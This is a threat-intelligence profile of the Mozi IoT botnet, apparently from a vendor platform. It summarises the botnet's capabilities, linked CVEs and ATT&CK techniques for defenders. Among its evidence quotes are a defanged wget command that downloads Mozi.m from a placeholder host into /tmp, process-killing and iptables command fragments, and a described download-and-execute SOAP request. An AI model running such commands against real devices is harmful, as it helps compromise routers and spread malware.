Skip to main content
Mallory
Malware1 associated actor15 associated CVEs

Mozi

Tracked since Nov 25, 2025 · Updated 2 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 1 in a dayToday
Vulns15Associated
Actors1Associated
ATT&CK35Techniques
IOCs89Tracked
Type
Botnet
Capabilities
DDOSBrute forceInitial accessPersistencePrivilege escalationDefense evasionExfiltrationSpoofing
Delivery
Phishing
Platforms
LinuxIOTNetwork device

Mozi is a peer-to-peer botnet first disclosed in December 2019 that compromises Linux-based Internet of Things and networking devices, particularly SOHO routers, gateways, cameras, and digital video recorders. ARM and MIPS variants are documented. It propagates through weak or default Telnet credentials and exploitation of vulnerable device services, including command-injection flaws that enable payload download and execution.

Mozi uses a custom protocol built on Distributed Hash Tables, resembling BitTorrent DHT communications, to discover peers and distribute commands without relying on a conventional centralized command-and-control server. Infected devices receive instructions, attempt to compromise additional devices, and can serve malware payloads over HTTP. Its capabilities include HTTP, TCP, and UDP DDoS attacks, spam distribution, brute-force attacks, password spraying, data exfiltration, and arbitrary command or payload execution. Later variants also incorporated cryptocurrency-mining functionality.

Mozi implements device-specific persistence on Netgear, Huawei, and ZTE gateways through startup-script modification and other configuration changes. It can attempt privilege escalation through CVE-2015-1328, disable remote-management services, and alter firewall rules to restrict competing access. On devices with IPv4 forwarding enabled, its traffic-interception functionality supports DNS-response spoofing, HTTP redirection, and JavaScript injection. Some binaries deliberately corrupt UPX metadata to obstruct automated unpacking and analysis. Mozi activity declined sharply in 2023.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

15 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2024-13030via db gcveExploited in the wildImproper access control in D-Link DIR-823G web management interfaceCIRCL lists CVE-2024-13030 as a confirmed exploited vulnerability. Sinkhole evidence records an HNAP1 request containing a SOAPAction command to download and execute Mozi.m.View vulnerability →Source ↗
CVE-2023-1389via f5Exploited in the wildUnauthenticated Root Command Injection in TP-Link Archer AX21CVE-2023-1389, a command injection vulnerability in the firmware for the TP-Link Archer AX21 Wi-Fi routers accounts for 40% of malicious scanning activity during April 2024. | Exploit code for this CVE indicates that attackers are using it to take over vulnerable devices and subsume them into the Mozi botnet.View vulnerability →Source ↗
CVE-2024-12847via handlers diary fullUnauthenticated Root Command Execution in NETGEAR DGN1000“wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; - Retrieve malicious script (Mozi botnet related?) from remote server, save it in /tmp directory and name it ‘netgear’.”View vulnerability →Source ↗
CVE-2014-2321via microsoft generalExploited in the wildRemote administrative access in ZTE F460 and F660 modemsIt deletes the file /home/httpd/web_shell_cmd.gch. This file can be used to gain access through exploitation of the vulnerability CVE-2014-2321; deleting it prevents future attacks. | Mozi is a peer-to-peer (P2P) botnet that uses a BitTorrent-like network to infect IoT devices such as network gateways and digital video records (DVRs).View vulnerability →Source ↗
CVE-2015-1328via microsoft generalExploited in the wildOverlayFS local privilege escalation in Ubuntu Linux kernelA specific check is conducted for the existence of the /overlay folder, and whether the malware does not have write permissions to the folder /etc. In this case, it will try to exploit CVE-2015-1328. Successful exploitation of the vulnerability will grant the malware access to the following folders. | Mozi is a peer-to-peer (P2P) botnet that uses a BitTorrent-like network to infect IoT devices such as network gateways and digital video records (DVRs).View vulnerability →Source ↗
CVE-2017-17215via netlab 360Exploited in the wildRemote Command Injection in Huawei HG532 DeviceUpgrade ServiceThe sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name Mozi.m , Mozi.a . | The vulnerabilities used by Mozi Botnet are shown in the following table: ... CVE-2017-17215 ... Huawei Router HG532View vulnerability →Source ↗
CVE-2018-10561via netlab 360Exploited in the wildAuthentication Bypass in Dasan GPON RoutersThe vulnerabilities used by Mozi Botnet are shown in the following table: ... CVE-2018-10561, CVE-2018-10562 ... GPON Routers | The sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name Mozi.m , Mozi.a .View vulnerability →Source ↗
CVE-2018-10562via netlab 360Exploited in the wildCommand Injection in Dasan GPON Router DiagnosticsThe sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name Mozi.m , Mozi.a . | The vulnerabilities used by Mozi Botnet are shown in the following table: ... CVE-2018-10561, CVE-2018-10562 ... GPON RoutersView vulnerability →Source ↗
CVE-2014-8361via netlab 360Exploited in the wildRealtek SDK miniigd UPnP SOAP Command InjectionThe vulnerabilities used by Mozi Botnet are shown in the following table: ... CVE-2014-8361 ... Devices using the Realtek SDK | The sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name Mozi.m , Mozi.a .View vulnerability →Source ↗
CVE-2024-3721via scworldExploited in the wildUnauthenticated OS Command Injection in TBK DVR-4104 and DVR-4216Widely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.View vulnerability →Source ↗
CVE-2022-22947via scworldExploited in the wildSpring Cloud Gateway Actuator SpEL Injection RCEWidely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.View vulnerability →Source ↗
CVE-2017-9841via scworldExploited in the wildUnauthenticated Remote Code Execution in PHPUnitBotnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.View vulnerability →Source ↗

3 more CVEs associated with this family tracked in Mallory.

Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
RondoDox

"...alongside NETGEAR-MOZI and other router-related flaws. This pattern suggests that the actor was focused on building or expanding botnets..."

via f5f5.com
MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1078.001Default AccountsEvidence1

“the botnet spreads via the use of weak and default remote access passwords for targeted devices”

T1190Exploit Public-Facing ApplicationEvidence4

“the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits.”

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence1

[rn] Execute specified command

T1059.004Unix ShellEvidence1

"A script executes a shell command on the targeted server... downloads and executes malware"; "An injected command directly writes the binary payload to a file and then executes it"

T1203Exploitation for Client ExecutionEvidence2

Bot deployment : this is where the bot is deployed into a target system member of the network, for instance through an exploit... Alternatively, DDG uses exploits against Redis, Nexus Repository Manager and Supervisord... Additionally, a number of exploits affecting IoT devices such as CCTV, DVR, NVR and routers are included as a supplemental infection method.

Persistence

4 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

It places the script file named S95Baby.sh in these folders. The script runs the files /usr/networks or /user/networktmp . It adds the script to /etc/rcS.d and /etc/rc.local in case it lacks privileges.

T1078.001Default AccountsEvidence1

“the botnet spreads via the use of weak and default remote access passwords for targeted devices”

T1205Traffic SignalingEvidence1

This part of the MITM functionality is responsible for hijacking HTTP sessions... Some of the spoofing occurs via redirection using the HTTP Location header

T1556Modify Authentication ProcessEvidence1

Execution of the following commands changes the password and disables the management server for Huawei modem/router devices

Privilege Escalation

3 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

It places the script file named S95Baby.sh in these folders. The script runs the files /usr/networks or /user/networktmp . It adds the script to /etc/rcS.d and /etc/rc.local in case it lacks privileges.

T1068Exploitation for Privilege EscalationEvidence1

In this case, it will try to exploit CVE-2015-1328. Successful exploitation of the vulnerability will grant the malware access to the following folders

T1078.001Default AccountsEvidence1

“the botnet spreads via the use of weak and default remote access passwords for targeted devices”

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence4

“the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the ‘UPX!’ magic bytes.”

T1027.002Software PackingEvidence4

“Right away we see that we have a UPX packed ELF binary” and “the p_info section of the file appears to be corrupted.”

T1036MasqueradingEvidence1

Change the process name to sshd or dropbear to confuse the victim

T1078.001Default AccountsEvidence1

“the botnet spreads via the use of weak and default remote access passwords for targeted devices”

T1140Deobfuscate/Decode Files or InformationEvidence1

Where the automatic unpacking does not work with upx –d tool, even after fixing all the mentioned discrepancies and modified fields, we may attempt to manually extract the unpacked executable image from memory

T1205Traffic SignalingEvidence1

This part of the MITM functionality is responsible for hijacking HTTP sessions... Some of the spoofing occurs via redirection using the HTTP Location header

T1218System Binary Proxy ExecutionEvidence1

Execute system or custom commands

Defense Impairment

4 techniques
T1556Modify Authentication ProcessEvidence1

Execution of the following commands changes the password and disables the management server for Huawei modem/router devices

T1601Modify System ImageEvidence1

Some of the most common modifications include: Rewriting the UPX! magic headers ELF magic bytes are modified Copyright string is modified Section header names are modified Extra junk bytes added throughout the binary

T1685Disable or Modify ToolsEvidence2

It deletes the file /home/httpd/web_shell_cmd.gch ... deleting it prevents future attacks. It executes the following commands. These disable Tr-069 and its ability to connect to auto-configuration server (ACS).

T1686Disable or Modify System FirewallEvidence1

Strings from the unpacked sample include commands such as “iptables -I OUTPUT -p udp ... -j ACCEPT” and NAT/INPUT rules permitting UDP traffic.

Credential Access

5 techniques
T1110Brute ForceEvidence6

“The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (... brute-force, password spraying, etc.).”

T1110.003Password SprayingEvidence2

“The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (... brute-force, password spraying, etc.).”

T1556Modify Authentication ProcessEvidence1

Execution of the following commands changes the password and disables the management server for Huawei modem/router devices

T1557Adversary-in-the-MiddleEvidence1

By infecting routers, they can perform man-in-the-middle (MITM) attacks—via HTTP hijacking and DNS spoofing

T1557.002ARP Cache PoisoningEvidence1

DNS spoofing Mozi receives a very simple list of DNS names which are then spoofed... Each DNS request is answered with the spoofed IP.

Discovery

4 techniques
T1016System Network Configuration DiscoveryEvidence1

perform reconnaissance, and then move laterally to compromise higher value targets

T1046Network Service DiscoveryEvidence2

Adversaries can search the internet for vulnerable devices via scanning tools like Shodan

T1082System Information DiscoveryEvidence1

The main instructions include: ... Collecting Bot Information ... [idp] report bot info

T1083File and Directory DiscoveryEvidence2

A specific check is conducted for the existence of the /overlay folder... A specific check is conducted for the existence of the /usr/local/ct folder... It scans for .sh files in the filesystem

Lateral Movement

2 techniques
T1021Remote ServicesEvidence3

Mozi uses weak Telnet credential brute-forcing as a way to propagate... DDG’s method of infection involves brute-forcing the root user password against SSH servers... FritzFrog... relies on SSH credential brute-forcing as its propagation mechanism.

T1210Exploitation of Remote ServicesEvidence2

"attacks attempting to exploit a Realtek Jungle SDK remote code execution vulnerability (CVE-2021-35394)... Remote unauthenticated attackers could leverage this vulnerability to achieve arbitrary command execution"

Collection

2 techniques
T1557Adversary-in-the-MiddleEvidence1

By infecting routers, they can perform man-in-the-middle (MITM) attacks—via HTTP hijacking and DNS spoofing

T1557.002ARP Cache PoisoningEvidence1

DNS spoofing Mozi receives a very simple list of DNS names which are then spoofed... Each DNS request is answered with the spoofed IP.

Command and Control

6 techniques
T1071Application Layer ProtocolEvidence7

The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients.

T1071.001Web ProtocolsEvidence1

"Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs"; "The botnet client can accept the following command and control (C2) channel commands"

T1090.003Multi-hop ProxyEvidence3

“The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet.”

T1095Non-Application Layer ProtocolEvidence5

Threat actors use peer-to-peer (P2P) botnets like these to build a platform that can later be used to carry out malicious operations... The need for increased takedown resistance eventually drove botnet operators to adapt and explore peer-to-peer approaches. | The Mozi malware family makes use of a custom P2P protocol built on top of Distributed Hash Tables (DHT) in order to build a network of infected nodes.

T1105Ingress Tool TransferEvidence6

“The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port.”

T1205Traffic SignalingEvidence1

This part of the MITM functionality is responsible for hijacking HTTP sessions... Some of the spoofing occurs via redirection using the HTTP Location header

Impact

3 techniques
T1489Service StopEvidence1

killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox || pkill -9 -f i .i mozi.m Mozi.m mozi.a Mozi.a sora phantom zero kaiten Nbrute minerd /bin/busybox

T1496Resource HijackingEvidence1

Mozi started out as a P2P family performing DDoS attacks for profits, and later added a mining component.

T1498Network Denial of ServiceEvidence9

“The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS)...)”

Indicators of compromise

Observables

89 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

47 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+40 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching89Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities15CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping35Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.